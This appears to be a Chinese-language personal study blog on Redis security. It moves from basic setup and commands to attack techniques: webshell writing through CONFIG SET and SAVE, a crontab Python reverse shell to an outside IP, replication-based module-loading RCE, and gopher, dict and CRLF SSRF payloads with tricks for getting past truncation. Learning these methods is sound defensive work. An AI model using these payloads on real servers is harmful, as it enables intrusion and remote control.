redis安全学习笔记

基础

https://www.runoob.com/redis/redis-tutorial.html

环境 : ubuntu 安装redis

$sudo apt-get update
$sudo apt-get install redis-server
$service redis-server start
$redis-cli

redis连接命令

redis-cli -h 127.0.0.1 -p 6379

设置键值对:

set myKey abc

取出键值对:

get myKey

127.0.0.1:6379> set yulige 123123
OK
127.0.0.1:6379> get yulige
"123123"

通过nc监听或者socat抓包的方法socat -v tcp-listen:6378,fork tcp-connect:localhost:6379或者是tcpdump
apt-get install tcpdump
tcpdump -i eth0 port 6379 -o nopass.pcap

可以发现发送的数据为

*3
$3
set
$6
yulige
$6
123123
和
*2
$3
get
$6
yulige

可以发现如果是gopher发包的话是需要构造成redis格式的数据(然而后面我测试发现并不需要23333)
一次“SSRF–>RCE”的艰难利用这篇文章有一些踩坑的点。

获取配置

“`CONFIG GET *“`

编辑配置

你可以通过修改 redis.conf 文件或使用
“` CONFIG set“` 命令来修改配置。

  • 1 daemonize no Redis 默认不是以守护进程的方式运行,可以通过该配置项修改,使用 yes 启用守护进程(Windows 不支持守护线程的配置为 no )
  • 2 pidfile /var/run/redis.pid 当 Redis 以守护进程方式运行时,Redis 默认会把 pid 写入 /var/run/redis.pid 文件,可以通过 pidfile 指定
  • 3 port 6379 指定 Redis 监听端口,默认端口为 6379,作者在自己的一篇博文中解释了为什么选用 6379 作为默认端口,因为 6379 在手机按键上 MERZ 对应的号码,而 MERZ 取自意大利歌女 Alessia Merz 的名字
  • 4 bind 127.0.0.1 绑定的主机地址
  • 5 timeout 300 当客户端闲置多长时间后关闭连接,如果指定为 0,表示关闭该功能
  • 6 loglevel notice 指定日志记录级别,Redis 总共支持四个级别:debug、verbose、notice、warning,默认为 notice
  • 7 logfile stdout 日志记录方式,默认为标准输出,如果配置 Redis 为守护进程方式运行,而这里又配置为日志记录方式为标准输出,则日志将会发送给 /dev/null
  • 8 databases 16 设置数据库的数量,默认数据库为0,可以使用SELECT 命令在连接上指定数据库id
  • 9 save
  • Redis 默认配置文件中提供了三个条件:
  • save 900 1
  • save 300 10
  • save 60 10000
  • 分别表示 900 秒(15 分钟)内有 1 个更改,300 秒(5 分钟)内有 10 个更改以及 60 秒内有 10000 个更改。
  • 指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合
  • 10 dbcompression yes 指定存储至本地数据库时是否压缩数据,默认为 yes,Redis 采用 LZF 压缩,如果为了节省 CPU 时间,可以关闭该选项,但会导致数据库文件变的巨大
  • 11 bfilename dump.rdb 指定本地数据库文件名,默认值为 dump.rdb
  • 12 ir ./ 指定本地数据库存放目录
  • 13 laveof 设置当本机为 slav 服务时,设置 master 服务的 IP 地址及端口,在 Redis 启动时,它会自动从 master 进行数据同步
  • 14 asterauth 当 master 服务设置了密码保护时,slav 服务连接 master 的密码
  • 15 equirepass foobared 设置 Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH 命令提供密码,默认关闭
  • 16 maxclients 128 设置同一时间最大客户端连接数,默认无限制,Redis 可以同时打开的客户端连接数为 Redis 进程可以打开的最大文件描述符数,如果设置 maxclients 0,表示不作限制。当客户端连接数到达限制时,Redis 会关闭新的连接并向客户端返回 max number of clients reached 错误信息
  • 17 axmemory 指定 Redis 最大内存限制,Redis 在启动时会把数据加载到内存中,达到最大内存后,Redis 会先尝试清除已到期或即将到期的 Key,当此方法处理 后,仍然到达最大内存设置,将无法再进行写入操作,但仍然可以进行读取操作。Redis 新的 vm 机制,会把 Key 存放内存,Value 会存放在 swap 区
  • 18 ppendonly no 指定是否在每次更新操作后进行日志记录,Redis 在默认情况下是异步的把数据写入磁盘,如果不开启,可能会在断电时导致一段时间内的数据丢失。因为 redis 本身同步数据文件是按上面 save 条件来同步的,所以有的数据会在一段时间内只存在于内存中。默认为 no
  • 19 ppendfilename appendonly.aof 指定更新日志文件名,默认为 appendonly.aof
  • 20 ppendfsync everysec
  • 指定更新日志条件,共有 3 个可选值:
  • no:表示等操作系统进行数据缓存同步到磁盘(快)
  • always:表示每次更新操作后手动调用 fsync() 将数据写到磁盘(慢,安全)
  • everysec:表示每秒同步一次(折中,默认值)
  • 21 m-enabled no 指定是否启用虚拟内存机制,默认值为 no,简单的介绍一下,VM 机制将数据分页存放,由 Redis 将访问量较少的页即冷数据 swap 到磁盘上,访问多的页面由磁盘自动换出到内存中(在后面的文章我会仔细分析 Redis 的 VM 机制)
  • 22 m-swap-file /tmp/redis.swap 虚拟内存文件路径,默认值为 /tmp/redis.swap,不可多个 Redis 实例共享
  • 23 m-max-memory 0 将所有大于 vm-max-memory 的数据存入虚拟内存,无论 vm-max-memory 设置多小,所有索引数据都是内存存储的(Redis 的索引数据 就是 keys),也就是说,当 vm-max-memory 设置为 0 的时候,其实是所有 value 都存在于磁盘。默认值为 0
  • 24 m-page-size 32 Redis swap 文件分成了很多的 page,一个对象可以保存在多个 page 上面,但一个 page 上不能被多个对象共享,vm-page-size 是要根据存储的 数据大小来设定的,作者建议如果存储很多小对象,page 大小最好设置为 32 或者 64bytes;如果存储很大大对象,则可以使用更大的 page,如果不确定,就使用默认值
  • 25 m-pages 134217728 设置 swap 文件中的 page 数量,由于页表(一种表示页面空闲或使用的 bitmap)是在放在内存中的,,在磁盘上每 8 个 pages 将消耗 1byte 的内存。
  • 26 m-max-threads 4 设置访问swap文件的线程数,最好不要超过机器的核数,如果设置为0,那么所有对swap文件的操作都是串行的,可能会造成比较长时间的延迟。默认值为4
  • 27 lueoutputbuf yes 设置在向客户端应答时,是否把较小的包合并为一个包发送,默认为开启
  • 28 ash-max-zipmap-entries 64
  • hash-max-zipmap-value 512 指定在超过一定的数量或者最大的元素超过某一临界值时,采用一种特殊的哈希算法
  • 29 ctiverehashing yes 指定是否激活重置哈希,默认为开启(后面在介绍 Redis 的哈希算法时具体介绍)
  • 30 nclude /path/to/local.conf 指定包含其它的配置文件,可以在同一主机上多个Redis实例之间使用同一份配置文件,而同时各个实例又拥有自己的

数据类型

Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。

String(字符串)

string 是 redis 最基本的类型,你可以理解成与 Memcached 一模一样的类型,一个 key 对应一个 value。

string 类型是二进制安全的。意思是 redis 的 string 可以包含任何数据。比如jpg图片或者序列化的对象。

string 类型是 Redis 最基本的数据类型,string 类型的值最大能存储 512MB。

get和set等命令不区分大小写。一个键最大能存储 512MB。

DEL runoob 用于删除前面测试用过的 key

Hash(哈希)

Redis hash 是一个键值(key=>value)对集合。

Redis hash 是一个 string 类型的 field 和 value 的映射表,hash 特别适合用于存储对象。

127.0.0.1:6379> HMSET runoob field1 "Hello" field2 "World"
OK
127.0.0.1:6379> hget runoob field1
"Hello"
127.0.0.1:6379> hget runoob field2
"World"

实例中我们使用了 Redis HMSET, HGET 命令,HMSET 设置了两个 field=>value 对, HGET 获取对应 field 对应的 value。

每个 hash 可以存储 232 -1 键值对(40多亿)。

List(列表)

Redis 列表是简单的字符串列表,按照插入顺序排序。你可以添加一个元素到列表的头部(左边)或者尾部(右边)。

127.0.0.1:6379> lpush runoob redis
(integer) 1
127.0.0.1:6379> lpush runoob 123
(integer) 2
127.0.0.1:6379>
127.0.0.1:6379> lpush runoob 321
(integer) 3
127.0.0.1:6379> lrange runoob 0 10
1) "321"
2) "123"
3) "redis"

列表最多可存储 232 – 1 元素 (4294967295, 每个列表可存储40多亿)。

Set(集合)

Redis 的 Set 是 string 类型的无序集合。

集合是通过哈希表实现的,所以添加,删除,查找的复杂度都是 O(1)。

sadd 命令
添加一个 string 元素到 key 对应的 set 集合中,成功返回 1,如果元素已经在集合中返回 0。

127.0.0.1:6379> sadd runoob redis
(integer) 1
127.0.0.1:6379> sadd runoob 123
(integer) 1
127.0.0.1:6379> sadd runoob 321
(integer) 1
127.0.0.1:6379> smembers runoob
1) "redis"
2) "321"
3) "123"

zset(sorted set:有序集合)

Redis zset 和 set 一样也是string类型元素的集合,且不允许重复的成员。
不同的是每个元素都会关联一个double类型的分数。redis正是通过分数来为集合中的成员进行从小到大的排序。

zset的成员是唯一的,但分数(score)却可以重复。

zadd 命令

127.0.0.1:6379> zadd runoob 0 redis
(integer) 1
127.0.0.1:6379> zadd runoob 1 redis
(integer) 0
127.0.0.1:6379> zadd runoob 1 red3
(integer) 1
127.0.0.1:6379> ZRANGEBYSCORE runoob 0 1000
1) "red3"
2) "redis"

Redis支持多个数据库,并且每个数据库的数据是隔离的不能共享,并且基于单机才有,如果是集群就没有数据库的概念。

Redis是一个字典结构的存储服务器,而实际上一个Redis实例提供了多个用来存储数据的字典,客户端可以指定将数据存储在哪个字典中。这与我们熟知的在一个关系数据库实例中可以创建多个数据库类似,所以可以将其中的每个字典都理解成一个独立的数据库。

每个数据库对外都是一个从0开始的递增数字命名,Redis默认支持16个数据库(可以通过配置文件支持更多,无上限),可以通过配置databases来修改这一数字。客户端与Redis建立连接后会自动选择0号数据库,不过可以随时使用SELECT命令更换数据库,如要选择1号数据库:

数据库

redis> SELECT 1
OK
redis [1] > GET foo
(nil)

然而这些以数字命名的数据库又与我们理解的数据库有所区别。首先Redis不支持自定义数据库的名字,每个数据库都以编号命名,开发者必须自己记录哪些数据库存储了哪些数据。另外Redis也不支持为每个数据库设置不同的访问密码,所以一个客户端要么可以访问全部数据库,要么连一个数据库也没有权限访问。最重要的一点是多个数据库之间并不是完全隔离的,比如FLUSHALL命令可以清空一个Redis实例中所有数据库中的数据。综上所述,这些数据库更像是一种命名空间,而不适宜存储不同应用程序的数据。比如可以使用0号数据库存储某个应用生产环境中的数据,使用1号数据库存储测试环境中的数据,但不适宜使用0号数据库存储A应用的数据而使用1号数据库B应用的数据,不同的应用应该使用不同的Redis实例存储数据。由于Redis非常轻量级,一个空Redis实例占用的内在只有1M左右,所以不用担心多个Redis实例会额外占用很多内存。

命令

序号  命令及描述
1   DEL key
该命令用于在 key 存在时删除 key。
2   DUMP key
序列化给定 key ,并返回被序列化的值。
3   EXISTS key
检查给定 key 是否存在。
4   EXPIRE key seconds
为给定 key 设置过期时间,以秒计。
5   EXPIREAT key timestamp
EXPIREAT 的作用和 EXPIRE 类似,都用于为 key 设置过期时间。 不同在于 EXPIREAT 命令接受的时间参数是 UNIX 时间戳(unix timestamp)。
6   PEXPIRE key milliseconds
设置 key 的过期时间以毫秒计。
7   PEXPIREAT key milliseconds-timestamp
设置 key 过期时间的时间戳(unix timestamp) 以毫秒计
8   KEYS pattern
查找所有符合给定模式( pattern)的 key 。
9   MOVE key db
将当前数据库的 key 移动到给定的数据库 db 当中。
10  PERSIST key
移除 key 的过期时间,key 将持久保持。
11  PTTL key
以毫秒为单位返回 key 的剩余的过期时间。
12  TTL key
以秒为单位,返回给定 key 的剩余生存时间(TTL, time to live)。
13  RANDOMKEY
从当前数据库中随机返回一个 key 。
14  RENAME key newkey
修改 key 的名称
15  RENAMENX key newkey
仅当 newkey 不存在时,将 key 改名为 newkey 。
16  TYPE key
返回 key 所储存的值的类型。

scan遍历key值

https://mp.weixin.qq.com/s/QTwF6APKaCFjeNHadd1DCw

服务器配置

redis 学习笔记 | 安装与启动

sed -i 's/daemonize no/daemonize yes/g' /etc/redis-5.0.8/redis.conf

后台运行redis

认证

redis设置密码的两种方法
redis-cli连上去

“`config set requirepass 123456“`
或者修改redis.conf

sed -i 's/# requirepass foobared/requirepass foobared/g' /etc/redis/redis.conf

第二种方法设置完之后需要重启redis。

然后再用redis-cli去连的时候需要先执行AUTH命令才可以执行其他命令。
AUTH PASSWORD
redis-cli -a的参数本质是就是AUTH命令。然后因为客户端将命令发送到Redis服务器的流程为

客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays。
Redis服务器回复发送任何有效RESP数据类型作为回复的客户端。https://www.anquanke.com/post/id/181599
所以在ssrf的时候只要在前面加上添加%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A,即可。

数据库备份

Redis SAVE 命令用于创建当前数据库的备份。常见利用其来写文件达到getshell的目的。

redis-cli -h 127.0.0.1 flushall #清空所有key
redis-cli -h 127.0.0.1 config set dir /var/www #设置数据库备份保存的目录
redis-cli -h 127.0.0.1 config set dbfilename shell.php #设置数据库备份保存的文件名
redis-cli -h 127.0.0.1 set webshell "" #将想写入的内容写进key值
redis-cli -h 127.0.0.1 save # 备份

踩坑

首先是一直没法保存备份文件成功,因为启动redis-server的时候直接就一个执行没别的了,写入的目录和文件名无法改变,我实验版本是3.0.6,info看了一下加载的配置是/etc/redis/redis.conf 这里面的dir一直是/var/lib/redis然后文件名一直是dump.rdb,redis-cli连上去设置dir和dbfilename根本没用。

现在试试启动server的时候加上配置看看。
sudo redis-server /etc/redis/redis.conf --port 6378
果然就可以更改目录和文件名了,现在再看看conf里面的内容 并没有改变。 看了一下写入的文件的用户是root。

结果一系列测试,发现使用service redis start启动的redis服务,dir和dbfilename无法被改变(未测试是否有版本影响,我感觉这个就是一个bug)并且会生成/var/lib/redis/dump.rdb 但是里面并没有key值的内容就很迷,我感觉就是bug。

没办法我是南邮源apt下的redis。。换个源换个版本的redis测试一下看看。

换了一下阿里云源,安装的版本是2.8.4,貌似没办法service启动

service redis start
Failed to start redis.service: Unit redis.service not found.

只能手动启动,但是手动启动的用户就是redisserver的用户,和前一个环境是redis用户不同。

现在试试编译安装个5.x版本来测试一下加载动态链接库功能。

cd /etc && wget http://download.redis.io/releases/redis-5.0.8.tar.gz && tar -zxvf redis-5.0.8.tar.gz && rm redis-5.0.8.tar.gz && cd redis-5.0.8 && make && make install 

主从复制

https://www.cnblogs.com/kismetv/p/9236731.html#t2

输入以下命令

“`slaveof host port“`
之后发生了哪些事情呢。

> 2020/04/10 09:30:01.182183  length=14 from=0 to=13
*1\r
$4\r
PING\r
< 2020/04/10 09:30:01.182422  length=7 from=0 to=6
+PONG\r
> 2020/04/10 09:30:01.182595  length=49 from=14 to=62
*3\r
$8\r
REPLCONF\r
$14\r
listening-port\r
$4\r
6379\r
< 2020/04/10 09:30:01.182875  length=5 from=7 to=11
+OK\r
> 2020/04/10 09:30:01.183002  length=59 from=63 to=121
*5\r
$8\r
REPLCONF\r
$4\r
capa\r
$3\r
eof\r
$4\r
capa\r
$6\r
psync2\r
< 2020/04/10 09:30:01.183203  length=5 from=12 to=16
+OK\r
> 2020/04/10 09:30:01.183300  length=72 from=122 to=193
*3\r
$5\r
PSYNC\r
$40\r
c8848089bebcde2b8d5a19e751a7bc4a260c88f8\r
$4\r
1275\r
< 2020/04/10 09:30:01.183838  length=59 from=17 to=75
+FULLRESYNC da9658e1e4cbeb49c3f12e478d2a61179cb8c0f2 1274\r
< 2020/04/10 09:30:01.280693  length=197 from=76 to=272
$191\r
REDIS0009.      redis-ver.5.0.8.
redis-bits.@..ctime..<.^.\bused-mem.P.....repl-stream-db...\arepl-id(da9658e1e4cbeb49c3f12e478d2a61179cb8c0f2.\vrepl-offset....\faof-preamble.........{.{....{..l..]d.^> 2020/04/10 09:30:01.284087  length=1 from=194 to=194

> 2020/04/10 09:30:02.184067  length=37 from=195 to=231
*3\r
$8\r
REPLCONF\r
$3\r
ACK\r
$4\r
1274\r

转换成rediscommand是

> PING
PONG
> REPLCONF listening-port 4444
OK
> replconf capa eof capa psync2
OK
> psync c8848089bebcde2b8d5a19e751a7bc4a260c88f8 1275
+FULLRESYNC da9658e1e4cbeb49c3f12e478d2a61179cb8c0f2 1274 +[rdb备份]

以上就是主从复制的全过程,可以类似于数据库备份了,

然后因为redis采用的resp协议的验证非常简洁,所以可以采用python模拟一个redis服务的交互,并且将备份的rdb数据库备份文件内容替换为恶意的so文件,然后就会自动在节点redis中生成exp.so,再用module load命令加载so文件即可完成rce,这就是前段时间非常火的基于主从复制的redisrce的原理

基于redis主从复制的rce,可以说已经是众所周知的了。https://paper.seebug.org/975/

正常写crontab

127.0.0.1:6379> config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> get 1
"\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"
127.0.0.1:6379> save
OK

而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似

[padding]
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
[padding]

正是因为redis会在写入的数据前面有padding,所以我想用redis本身的功能去写入so文件来完成rce是不可能了,因为elf格式的严格性,但是在后面padding倒是并无影响。

同理,在主从复制rce这个过程中,如果是两个正常的redis服务之间建立联系,仅仅是相当于的数据库备份的复制,而在主节点加载的module是不会到节点去的。所以在上传so这条路上只能凭借于web应用的上传,经过测试,只需要有读权限即可,而www-data默认写入的文件权限是644,所以实战中完全可以结合上传来完成攻击

主从复制的利用场景在于节点服务可以访问主节点,因为只要主节点可以返回包就行了,复制数据库是从返回的包里面去获取的。所以只要防火墙6379端口可以出来就行了。

然后配合ssrf去攻击redis。

在ssrf的攻击redis的过程中,若redis版本在4.0以上,则利用主从复制功能传入so文件完成rce。若在4以下,除了直接用gopher发包写文件之外,同样可以结合主从复制来传入key值从而写文件来getshell。

补充:

每个Redis节点(无论主从),在启动时都会自动生成一个随机ID(每次启动都不一样),由40个随机的十六进制字符组成;runid用来唯一识别一个Redis节点。通过info Server命令,可以查看节点的runid:

“`redis-cli info server | grep “run_id”“`
如果从节点之前未执行过slaveof或最近执行了“slaveof no one“,则从节点发送命令为“psync ? -1“,向主节点请求全量复制;
如果从节点之前执行了slaveof,则发送命令为“`psync “`,其中runid为上次复制的主节点的runid,offset为上次复制截止时从节点保存的复制偏移量。

加载动态链接库

https://zhuanlan.zhihu.com/p/44685035

以往我们想给 Redis 加个功能或类似事务的东西只能用 Lua 脚本,这个东西没有实现真正的原子性,另外也无法使用底层的 API ,实质上比单纯的命令脚本提升有限。

Redis 4.0 终于加入了模块,暴露了必要的 API,并且有自动内存管理(大大减轻编写负担),基于 C99(C++ 或者其它语言的 C 绑定接口当然也可以)。

MODULE LOAD /path/to/mymodule.so # 在 redis-cli 中执行,注意这里 mymodule.so 是文件名

rce

其实本质是Redis Lua Sandbox Escape绕过的代码具体见 https://github.com/n0b0dyCN/redis-rogue-server/tree/master/RedisModulesSDK

127.0.0.1:6379> module load /tmp/exppadding.so
OK
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"

参考 https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf 和自己实验 发现4以上版本通杀,redis作者也没有修的意思 ,因为 http://antirez.com/news/96 他觉得如果被登陆上redis之后的东西就不管了,他没必要去把这百分之1的功能复杂化。

综上所述 , redis4.0以上添加了加载动态链接库的添加扩展功能,而使用Redis Lua Sandbox Escape的exp可以执行命令,自定义了system.exec函数来完成rce,并且将结果回显。

dict协议和gopher协议攻击redis

做一下对比:直连上redis执行set 1 123

> 2020/04/10 14:15:14.919897  length=29 from=62 to=90
*3\r
$3\r
set\r
$1\r
1\r
$3\r
123\r
< 2020/04/10 14:15:14.920096  length=5 from=19 to=23
+OK\r

什么是gopher协议。它是互联网上使用的分布型的文件搜集获取网络协议。gopher支持多行。因此要在传输的数据前家一个无用字符。比如gopher://ip:port/_ 通常用_,并不是只能用_,gopher协议会将第一个字符”吃掉”。

gopher协议的话直接就当socket包发就行,注意一下redis是RESP协议的规则,上面说了。
resp协议规则 https://www.anquanke.com/post/id/181599

客户端将命令发送到Redis服务器的流程为

客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays。
Redis服务器回复发送任何有效RESP数据类型作为回复的客户端。
Bulk Strings用于表示长度最大为512 MB的单个二进制安全字符串,按以下方式编码:

一个$字节后跟组成字符串的字节数(一个前缀长度),由CRLF终止。
实际的字符串数据。
最终的CRLF。
yulige@yulige-ubuntu:~$ curl "gopher://0.0.0.0:4444/_*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%243%0d%0A123"
+OK

> 2020/04/10 14:16:55.477293  length=29 from=0 to=28
*3\r
$3\r
set\r
$1\r
1\r
$3\r
123\r
< 2020/04/10 14:16:55.477561  length=5 from=0 to=4
+OK\r

get key也可以正常获取到字符串123,完全一致。

dict协议的话之前了解的不多,只知道可以用来探测端口信息
“`curl dict://localhost:22/info“`,网上搜了一下大概是这么描述的“`dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾 自动补上rn(CRLF)“`结果测试其实还会发送一个QUIT。

为了进一步理解dict协议,我翻了一下rfc文档,发现我之前的理解都是错误的。

Command lines must be complete with all required parameters, and may not contain more than one command.

说明了 禁止多行命令。尝试了一下也没法crlf绕过去,他是把一整个command字符串化了,没法逃逸出来。
测试

yulige@yulige-ubuntu:~$ curl "dict://0.0.0.0:6379/auth yuligesec\r\ninfo"
-NOAUTH Authentication required.
-ERR invalid password
+OK

收到的

CLIENT libcurl 7.63.0
auth yuligesec\r\ninfo
QUIT

正因如此,dict协议没法攻击需要认证的redis。

使用dict协议需要用:来作为分隔.经过测试也可以不加,直接空格即可。rfc里面也是这么写的。

yulige@yulige-ubuntu:~$ curl "dict://0.0.0.0:4444/set:1:123"
-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME connection-name)
+OK
+OK

可以看到居然返回了2个ok,说明发送了两条命令。

> 2020/04/10 14:23:28.776420  length=40 from=0 to=39
CLIENT libcurl 7.63.0\r
set 1 123\r
QUIT\r
< 2020/04/10 14:23:28.777950  length=99 from=0 to=98
-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME connection-name)\r
+OK\r
+OK\r

可以看到其实发送了3行命令,而且并不是RESP协议格式的。第一行应该是代表发出的cli的工具和版本,rfc是这么写的

This command allows the client to provide information about itself for possible logging and statistical purposes.  All clients SHOULD send this command after connecting to the server.  All DICT servers MUST implement this command (note, though, that the server doesn't have to do anything with the information provided by the client).

这条命令是客户端提供有关其自身的信息,以便进行可能的日志记录和统计。连接到服务器后,所有客户端都应发送此命令。根据这里可以发现CLIENT命令貌似是必不可少的。

而第二行是
cli中执行的命令,第三行是dict协议带上的QUIT。

用php中的curl看看是什么包。

 GET / HTTP/1.1
> Host: 0.0.0.0:6378
> User-Agent: curl/7.63.0
> Accept: */*
>
-ERR wrong number of arguments for 'get' command
* Closing connection 0

---------------------------------------------
> 2020/05/24 11:16:59.054108  length=76 from=0 to=75
GET / HTTP/1.1\r
Host: 0.0.0.0:6378\r
User-Agent: curl/7.63.0\r
Accept: */*\r
\r
< 2020/05/24 11:16:59.054534  length=50 from=0 to=49
-ERR wrong number of arguments for 'get' command\r
```
用nc
```
yulige@yulige-ubuntu:~$ cat httprequest | nc 127.0.0.1 6378
yulige@yulige-ubuntu:~$

------------------------------------------------
> 2020/05/24 11:20:10.739862  length=78 from=0 to=77
GET / HTTP/1.1\r
Host: 127.0.0.1:6378\r
User-Agent: curl/7.63.0\r
Accept: */*\r
\r

```
肉眼看起来 数据包一模一样了,但是nc发送出去的没有响应包,上网查了一下资料发现应该这样去发送文件内容。
```
nc 127.0.0.1 6378  2020/05/24 11:44:54.783301  length=91 from=0 to=90
GET / HTTP/1.1\r
Host: 127.0.0.1:6378\r
set 133 123\r
User-Agent: curl/7.63.0\r
Accept: */*\r
\r
< 2020/05/24 11:44:54.783573  length=50 from=0 to=49
-ERR wrong number of arguments for 'get' command\r
```
然后redis看123这个键是否存在,发现并没有。。

然后尝试使用一个存在crlf的发送http请求的python模块来测试吧。

推荐一个跑fuzz的项目
https://github.com/orangetw/Tiny-URL-Fuzzer

参考:https://blog.csdn.net/qq_40989258/article/details/104735997

```python
import urllib2
url = "http://127.0.0.1:6378?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123:6378/test/?test=a"
htmlpage = urllib2.urlopen(url).read()
print htmlpage
```
抓包
```
> 2020/05/24 11:59:47.666102  length=181 from=0 to=180
GET /?a=1 HTTP/1.1\r
CRLF-injection: test\r
TEST: 123:6378/test/?test=a HTTP/1.1\r
Accept-Encoding: identity\r
Host: 127.0.0.1:6378\r
Connection: close\r
User-Agent: Python-urllib/2.7\r
\r
< 2020/05/24 11:59:47.668209  length=161 from=0 to=160
-ERR wrong number of arguments for 'get' command\r
-ERR unknown command 'CRLF-injection:'\r
-ERR unknown command 'TEST:'\r
-ERR unknown command 'Accept-Encoding:'\r
```
效果还不错,测试写入一个key试试。
```
yulige@yulige-ubuntu:~$ cat testrediscrlf.py
import urllib2
url = "http://127.0.0.1:6378?a=1 HTTP/1.1\r\nset 1234 123\r\ntest: 123"
htmlpage = urllib2.urlopen(url).read()
print htmlpage
----------------------------------
> 2020/05/24 12:27:42.221136  length=155 from=0 to=154
GET /?a=1 HTTP/1.1\r
set 1234 123\r
test: 123 HTTP/1.1\r
Accept-Encoding: identity\r
Host: 127.0.0.1:6378\r
Connection: close\r
User-Agent: Python-urllib/2.7\r
\r
< 2020/05/24 12:27:42.232387  length=126 from=0 to=125
-ERR wrong number of arguments for 'get' command\r
+OK\r
-ERR unknown command 'test:'\r
-ERR unknown command 'Accept-Encoding:'\r
----------------------------
127.0.0.1:6379> keys *
1) "1234"
127.0.0.1:6379> get 1234
"123"

```
确实是可以的,因为从dict协议中获得的思路,一行command就能发送过去,不需要转换为resp格式。
**所以如果限制了协议类型为http或者其他的ssrf,依然可以用这个思路去攻击redis。只需要一个crlf即可。**



# 写webshell
## redis-cli写webshell
若redis开放端口并允许外连,参考https://daolgts.github.io/2019/10/10/redis%20rce/

```redis3.2版本后新增 protected-mode 配置,默认是 yes,即开启,外部网络无法连接 redis 服务```
我ubuntu本地安装的3.0.8,默认有``bind 127.0.0.1``的配置,禁止非本地ip连接。
找一个能写的目录,利用数据库备份功能getshell。
```
127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set webshell ""
OK
127.0.0.1:6379> save

看一下shell.php的内容

REDIS0006webshell▒▒I▒s▒.;▒

ssrf写webshell

直接写入(失败)

如果是ssrf呢。

root@yulige-ubuntu:/# curl -g  'dict://0.0.0.0:6379/set webshell ""'

收到的却是以下内容。貌似是?这里截断掉了。

CLIENT libcurl 7.47.0
set webshell '<
QUIT

url编码看看,收到的却是

CLIENT libcurl 7.47.0
set%20webshell%20%22%3C%3Fphp%20%40eval(%24_POST%5B1%5D)%3B%3F%3E%22
QUIT

看来并不能url编码。

网上查了一下资料并结合自己测试,
?之后的内容都没法获取到。那么如何去绕过呢。

转义绕过?截断

dvpwriteup曾经在一个ctf中出现过用转义编码去绕过的

写入恶意代码:(<? 等特殊符号需要转义,不然问号后面会导致截断无法写入)
dict://0:6379/set:shell:”\x3C\x3Fphp\x20echo$_GET[x]\x3B\x3F\x3E”

先直接拿上面这个的payload做测试:

CLIENT libcurl 7.47.0
set shell "\x3C\x3Fphp\x20echo`$_GET[x]`\x3B\x3F\x3E"
QUIT

cli连上去看看。

127.0.0.1:6379> get shell
""

成功写入。此时测试版本为3.0.6换了一下5.0.8同样写入成功。

写入文件之后也同样是正常的webshell。

主从复制绕过?截断

截断的时候可以使用主从复制的方法将key值从主节点复制过来。然后节点再执行备份数据库操作写入webshell。

主节点

127.0.0.1:4444> set shell ""
OK

节点

dict://0:6379/slaveof:127.0.0.1:4444
dict://0:6379/config:set:dir:/var/www/html
dict://0:6379/config:set:dbfilename:shell.php
dict://0:6379/save
dict://0:6379/slaveof:no:one

查看一下文件是成功写入shell了。

当然了如果可以出外网也可以直接主从复制rce,这一点在前面就说过了。只要用python起一个服务去模拟redis的返回,并且在全量复制的时候把数据库文件替换成so文件即可。

bitop命令绕过?截断

前段时间[zer0pts CTF 2020] urlapp出了一道考bitop命令的题。

可以将key做位运算操作并存储在新的key中。

而在一次“SSRF–>RCE”的艰难利用中,就是用bitop去绕过的\x00

dict://0:6379/set:shell:"\xc3\xc0\x8f\x97\x8f\xdf\xbf\x9a\x89\x9e\x93\xd7\xdb\xa0\xaf\xb0\xac\xab\xa4\xce\xa2\xd6\xc4\xc0\xc1"
dict://0:6379/bitop:not:shell:shell
127.0.0.1:6379> get shell
""

而在一次“SSRF–>RCE”的艰难利用中有提到可以用bitfield,这个的话和bitop,bitos是一个系列的command,https://blog.csdn.net/qq_34206560/article/details/90722401,bitfield命令可以将一个redis字符串看做是一个由二进制位组成的数组,并对这个数组中储存的长度
不同的整数进行访问(被储存的整数无需对齐)。和bitop相比使用复杂很多,这里不再复现。

setbit命令绕过?截断

既然想明白关键是?截断的话其实方法也很多,能操作key就可以。这里举出一个command setbit.

https://www.runoob.com/redis/strings-setbit.html

Redis Setbit 命令用于对 key 所储存的字符串值,设置或清除指定偏移量上的位(bit)。

?的ascii是63,ascii62是>,二进制分别是0b000111110b00011110。所以按照前面的payload稍微改一下就是.使用setbit改动一位二进制即可把字符变成?,从而可写入webshell。

127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set webshell "<>php @eval($_POST[1]);>>"
OK
127.0.0.1:6379> setbit webshell 191 1
(integer) 0
127.0.0.1:6379> setbit webshell 15 1
(integer) 0
127.0.0.1:6379> save
OK

写定时任务

https://xz.aliyun.com/t/5665

测试环境:
ubuntu 14.04.5 LTS
CentOS 6.7

bash 反弹

